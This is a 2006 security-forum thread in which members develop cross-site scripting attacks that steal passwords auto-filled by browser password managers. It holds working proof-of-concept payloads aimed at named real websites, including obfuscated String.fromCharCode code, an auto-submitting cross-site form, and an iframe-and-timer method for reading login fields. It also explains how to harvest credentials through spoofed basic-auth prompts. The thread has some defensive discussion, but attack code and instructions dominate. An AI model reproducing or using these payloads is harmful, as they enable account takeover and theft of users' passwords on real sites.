As RSnake theorised, XSS can indeed be made to steal the plaintext passwords, and just to be the first person to do it (afaik) I stayed up all night, going down a fair few dead ends, to complete it.

Have a read of this: [www.criticalsecurity.net]

I didn't do it exactly like the blog post said. Firstly it logs the user out, so that the login form will appear for any further page loads. Then it adds an iframe to the current page. The src of this iframe is another page on the site that is vulnerable to xss (and since the user is logged out the login form appears on that page). The XSSed code on this page starts an interval to alert the contents of the passwords box.

The vulnerable site's admin has contacted me and we'll fix the flaw later today after I've explained how it worked.

The code is messy, but I don't care much.

Unrelated: While I was playing about with that code I made this file:
[www.whiteacid.org]
IE (6 and 7) both cause errors on that page and firefox diesn't display it correctly either. The textfield shouldn't be blank, and if it is blank then the text below the textfield should also be blank. Does anyone have any idea what's going on there?

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer



Edited 3 time(s). Last edit at 10/03/2006 06:25AM by WhiteAcid.

Really interresting !
Can you give the source without any encoding please ? (i mean whitout String.fromCharCode)

var xhReq=new XMLHttpRequest()
xhReq.open("GET",'/news.php?logout=yes',false)
xhReq.send(null)
document.body.innerHTML +="pre<iframe src=\"http://www.hellboundhackers.org/fusion_infusions/shoutbox_panel/shoutbox_archive.php/a'><script>setInterval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,39,117,115,101,114,95,112,97,115,115,39,41,91,48,93,46,118,97,108,117,101,41),10000)</script>\"></iframe>sup"

Well.. I removed the ; and inserted line breaks to not ruin this page too much

That String.fromCharCode() bit decodes to:

alert(document.getElementsByName('user_pass')[0].value)

I have set up [www.whiteacid.org] which converts comma-deliminated decimal values to their ASCII equivalent (97,98,99 -> abc). I've also set up [www.whiteacid.org] to convert any string to String.fromCharCode() format (abc -> String.fromCharCode(97,98,99)).

Please don't abuse this flaw. It will be fixed soon, hellboundhackers.org has gone through enough problems recently and they don't need their admins passwords stolen.

Having said that the script needs serious tidying up. It should be made to hide the iframe (display:none), obviously alerts shouldn't be used, instead it should send the username and password. A few other things too.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

Okey,
now I understand. Firefox password manager put automaticely the password in the input "user_pass", and with an XSS you alert the value of this input by using the DOM. Very clever ! Nice Job ;-)

Yes, that's exactly it. Credit goes to rsnake for the idea.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer



Edited 1 time(s). Last edit at 08/23/2006 07:46AM by WhiteAcid.

Great work, WhiteAcid! Another idea I've been toying with is enumerating through all the possible combinations of names for each of the fields. Sure, some will be empty but you don't have to submit anything that's empty. That might work better for other password managers that attempt to find anything called "username" while another might look for "user_name" or "user-name" etc...

- RSnake
Gotta love it. http://ha.ckers.org

If you guys want a simpler PoC go to [www.space4k.com], log in with any incorrect data, store the data. Then go here: [www.whiteacid.org]
I will most likely remove that link later, so it's code is:

<script>
//<!--
function foo()
{
	document.getElementById('ln').value = "\"><script>setTimeout(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,56,44,49,49,48,41,41,91,48,93,46,118,97,108,117,101,43,39,58,39,43,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,50,44,49,49,57,41,41,91,48,93,46,118,97,108,117,101,41),2000)</script>"
	document.getElementById('asd').submit()
}
//-->
</script>

<body onload="foo()">
<form action="http://www.space4k.com/gw/login.php" id="asd" method="POST">
<input id="ln" name="ln"/>
<input name="pw"/>
</form>

Again, use [www.whiteacid.org] to convert those numbers to ASCII characters if you want to understand the code.

Are we really allowed to post things like this? space4k.com has no idea I made this PoC. I'll let them know now.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer



Edited 1 time(s). Last edit at 08/23/2006 02:38PM by WhiteAcid.

So If I understand good.

Firstly you have to find an XSS on the page where there is the login form.
Secondly you have to use this XSS to inject javascript that return the value of the input password by using the DOM.

Again Felicitations to rsnake and whiteacid ;-)

I just got asked the same question on MSN, worded ever so slightly differently:
so for it to work, you have to find an xss flaw on the main page where the login form is ?

The answer is no. All you need is an XSS flaw on the same domain.

Let's say example.com/some/other/file.php was vulnerable to XSS and the login form was on examples.com/login.php. I would inject into /some/other/file.php (the only place I can), then I'd create an iframe to /login.php. Since both files are on the same domain /some/other/file.php has full control over the source code of the iframe and can therefore read the forms.

If /login.php simply forwards users to /index.php because they are already logged in. Then I'd first call /logout.php file /some/other/file.php via a synchronous AJAX request. It's important that it's synchronous. In my original code the false is this line:

xhReq.open("GET",'/news.php?logout=yes',false)

is what tells the browser to make it synchronous, true would mean asynchronous.
After calling the /logout.php file I'd create the iframe to then read the form as before.

I realise that I created my original PoC unnecesarily complex (actually using 2 flaws). I blame this on the early hour of the morning I was working on it, I could have done it all from one XSS flaw.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

So,
You found an XSS on file.php.
Using xmlhttprequest you delog the user if he's connected by using an XSRF (GET logout.php). Then you inject an Iframe by using again DOM =) or document.write("<iframe src='login.php'>"); ? Now Firefox complete the interresting inputs for us (user, pwd). Now by Using the DOM you popup the input user and pwd ?

If it's that i say woaw ! Very very clever =)

Almost. so very close.
"Now by Using the DOM you popup the input user and pwd ? "

That's ambigous. If you mean I can do document...obj.value to get the values, then no. I have to set a timer, because I need to wait for firefox to fill the values in, which it'll done once everything is loaded (including all images). If no AJAX is needed 2 seconds should do.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

So you wait 2seconds so that Firefox can fill the inputs with the interresting values (setTimeout) and then you get the values with the DOM (document.getElementsByName(String.fromCharCode(108,110))[0].value) => here ln.

Now I'm 100 % close =) ?

Yes. Congrats

Now the next major hurdle - Protecting yourself
Given that you have an XSS flaw, how can you prevent this from working?

My one solution so far is to prevent users from using pwdmgrs in the first place. I found that firefox doesn't give the option of saving the details if any JavaScript edits any of the elements onsubmit of the form, or onclick of the submit button. So just changing the value of a trivial field onsubmit results in the users getting no option to save the details, at least with the firefox pwdmgr (edit: later tested with ie7, same result as firefox).

It's tricky, given XSS flaws and given the user uses a pwdmgr, how can the server protect the user?

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer



Edited 1 time(s). Last edit at 08/24/2006 08:26AM by WhiteAcid.

Well I think the only solution is to sanitize variables properly ...
If there're no xss you can't use this flaw. Well I know it's a bad answer but I don't think there's something else to do.

I always assume I have an XSS flaw somewhere on my page. Of course, I still try my very hardest to plug any XSS holes I find to make the 'ad infinitum' XSS hole harder to find.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

lol : ) We'll w8 for what the boss will say

PS : very handy script : [www.whiteacid.org]
It will be even more handy if you inplant the inverse =)
Code => String
String => Code =)

I have done the inverse, scroll up. Actually I made string to code first, so I consider code to string the inverse.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer



Edited 1 time(s). Last edit at 08/23/2006 04:08PM by WhiteAcid.

[www.whiteacid.org]

Perfect ! :=)

I figured out a possible solution, using basic HTTP authentication. It may annoy users, and I haven't yet tried implementing this, but it should work. The popup box that appears is at no time accessible by any script.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

Yeah you're right an .htaccess is a solution.
But .htaccess are the solution for every authentification...
So I mean it's a perfect solution in a security way but for interactivity it's very annoying... : /

Basic auth is actually pretty damned easy to spoof. I really don't recommend it as a security module. Don't believe me? Set up a server with mod_auth_external, write you own custom logging script. Then inject an image onto the site anywhere linking you to your .htaccess directory. Most of the time people won't know what context they are entering the password and they'll do it anyway, and then the username/password is logged and you're on your way.

Also, basic auth is sniffable, so at least use digest based auth - it adds a little overhead but it's far more secure.

- RSnake
Gotta love it. http://ha.ckers.org

hahahaha Nice one =)
You have to profit of an xss or an csrf if possible to do that, how do you called this technique ? I mean to make somone to believe something.
Also how do you do to logg username/password from an htaccess o_O I've never heard of that before. Do you know some informations / papers about these techniques ?

Thank you boss : )

Yah, download and compile mod_auth_external into your apache instance: [www.unixpapa.com]

Then write a custom script to do the authentication (must require a username and password is really the only thing you need to verify). Once you get both log them and consider that user authenticated so they won't continue to the see the popups.

It's a CSRF only, no XSS needed, just reference an image somewhere on your server instead of theres hidden behind the .htaccess protected directory (it can be a real image or not exist, that part doesn't matter).

Works like a charm.

- RSnake
Gotta love it. http://ha.ckers.org

Thank you I'll have a look at this stuff : )



Edited 1 time(s). Last edit at 08/27/2006 07:01AM by Girzi.

Quote:

Let's say example.com/some/other/file.php was vulnerable to XSS and the login form was on examples.com/login.php. I would inject into /some/other/file.php (the only place I can), then I'd create an iframe to /login.php. Since both files are on the same domain /some/other/file.php has full control over the source code of the iframe and can therefore read the forms.

If /login.php simply forwards users to /index.php because they are already logged in. Then I'd first call /logout.php file /some/other/file.php via a synchronous AJAX request. It's important that it's synchronous. In my original code the false is this line:

xhReq.open("GET",'/news.php?logout=yes',false)

is what tells the browser to make it synchronous, true would mean asynchronous.
After calling the /logout.php file I'd create the iframe to then read the form as before.

How do you want to read the form included in the iframe (logout.php), cause I think (I did some tests) that it's impossible to do that cause of some weird navigator security ?

If this iframe and site you're on are on the same domain then you are able to read the field using document.getElementById('iframe_id').document.getElementById('username_field_id').value

I haven't tested that, but it should work.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

: /
I've did some test but using an <script src="http://url./script.js"></script> for My XSS, I used document.getElementById('iframe_id').document.getElementById('username_field_id').value like you but didn't work. I ask on a Javascript - Devellopers - Board an they told me that I can't because it comes from the security of the navigator : /



Edited 1 time(s). Last edit at 08/28/2006 06:02AM by Girzi.

Uhmm... could you please explain in detail which page is calling what. What is the sequence of stuff etc.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

Okey =)

I found an XSS on lycos :

[shopping.lycos.fr]

(variable cat , easy one). I included a script on [blwood.net]


On this page there's a login Form : [secure.caramail.lycos.fr]


So in my file lycos2.js I wrote an iframe to It.

document.write('<iframe src="http://secure.caramail.lycos.fr/services/signin/mail.jsp?targetcode=FR_lyc_home_tab" name="myiframe"></iframe>');

Then I wrote my function that will alert the password conteined in the login form :

function lycos_pass() {

var obj = document.frames["myiframe"].getElementById('password');
var val = obj.value;
alert(val);

}

I used setTimeout to wait 5 secondes and then call the function :

setTimeout("lycos_pass()",5000);


So the script is :

Quote:

function lycos_pass() {

var obj = document.frames["myiframe"].getElementById('password');
var val = obj.value;
alert(val);

}


document.write('<iframe src="http://secure.caramail.lycos.fr/services/signin/mail.jsp?targetcode=FR_lyc_home_tab" name="myiframe"></iframe>');

setTimeout("lycos_pass()",5000);

I tested with other input on the normal page, I mean : [shopping.lycos.fr]

But the inputs contained in the iframe I can't access to them : /



Edited 1 time(s). Last edit at 08/28/2006 07:00AM by Girzi.

Ah yes, that will not work because the .js file is on a different domain to that which it is reading. Instead of injecting the code to call the .js file you're going to have to inject the code within the .js file.

Let's say I was trying to insert:

<script src="http://example.com/file.js"></script>

which contained

alert('xss')

I would instead inject

<script>alert('xss')</script>

That way there is no problem about different domains.
Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer